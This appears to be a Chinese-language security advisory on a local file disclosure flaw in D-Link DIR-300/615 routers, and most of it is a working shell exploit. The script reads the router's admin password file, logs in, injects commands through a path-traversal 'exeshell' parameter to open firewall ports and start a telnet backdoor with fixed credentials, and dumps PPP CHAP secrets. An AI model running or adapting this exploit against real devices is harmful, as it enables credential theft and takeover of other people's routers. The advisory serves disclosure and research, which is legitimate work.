D-Link DIR是系列路由器产品。

多个D-Link DIR产品在实现上存在本地文件泄露漏洞，可使攻击者获取敏感信息。

 

BUGTRAQ-ID:64043

受影响系统：

D-Link DIR-615

D-Link DIR-300

 

测试方法：

警  告以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！#!/bin/sh

 

 

if [ -z "$1" ]; then

        echo "d-link DIR-300 (all), DIR-600 (all), DIR-615 (fw 4.0)";

        echo "exploited by AKAT-1, 22733db72ab3ed94b5f8a1ffcde850251fe6f466, c8e74ebd8392fda4788179f9a02bb49337638e7b";

        echo "usage: $0 [router address] [telnet port]";

        exit 0;

fi;

 

if [ -z "$2" ]; then

        TPORT=3333;

else

        TPORT=$2;

fi

 

UPORT=31337;

 

echo "Trying $1 ...";

 

HTTPASSWD=`curl -sS "http://$1/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd"; | grep -A1 "<center>" | tail -1 |

sed -e "s/\\t//g ; s/^\\([^:]*\\):\\([^:]*\\)$/\\1\\n \\2/g"`;

 

if [ ! -z "$HTTPASSWD" ]; then

        L=`echo $HTTPASSWD | cut -d\' \' -f1`;

        P=`echo $HTTPASSWD | cut -d\' \' -f2`;

 

        echo "found username: $L";

        echo "found password: $P";

 

 

        curl -d "ACTION_POST=LOGIN&LOGIN_USER=$L&LOGIN_PASSWD=$P" -sS "http://$1/login.php"; | grep -v "fail"

1>/dev/null;

 

        if [ $? -eq 0 ]; then

                curl -sS

"http://$1/tools_system.xgi?random_num=2011.9.22.13.59.33&exeshell=../../../../usr/sbin/iptables -t nat -A PRE_MISC -i

eth0.2 -p tcp --dport $TPORT -j ACCEPT&set/runtime/syslog/sendmail=1" 1>/dev/null;

                curl -sS

"http://$1/tools_system.xgi?random_num=2011.9.22.13.59.33&exeshell=../../../../usr/sbin/iptables -t nat -A PRE_MISC -i

eth0.2 -p tcp --dport $UPORT -j ACCEPT&set/runtime/syslog/sendmail=1" 1>/dev/null;

                curl -sS

"http://$1/tools_system.xgi?random_num=2011.9.22.13.59.33&exeshell=../../../../usr/sbin/telnetd -p $TPORT -l

/usr/sbin/login -u hacked:me&set/runtime/syslog/sendmail=1" 1>/dev/null;

 

                echo "if you are lucky telnet is listening on $TPORT (hacked:me) ..."

                curl -sS "http://$1/logout.php"; 1>/dev/null;

        fi

fi

 

CHAP=`curl -sS "http://$1/model/__show_info.php?REQUIRE_FILE=/etc/ppp/chap-secrets"; | grep -A1 "<center>" | sed -e

"s/<center>//g"`;

 

if [ ! -z "$CHAP" ]; then

        echo "found chap-secrets: $CHAP";

fi

 

echo "Bye bye.";

 

exit 0;

解决办法：

厂商补丁：

 

D-Link

------

目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.dlink.com/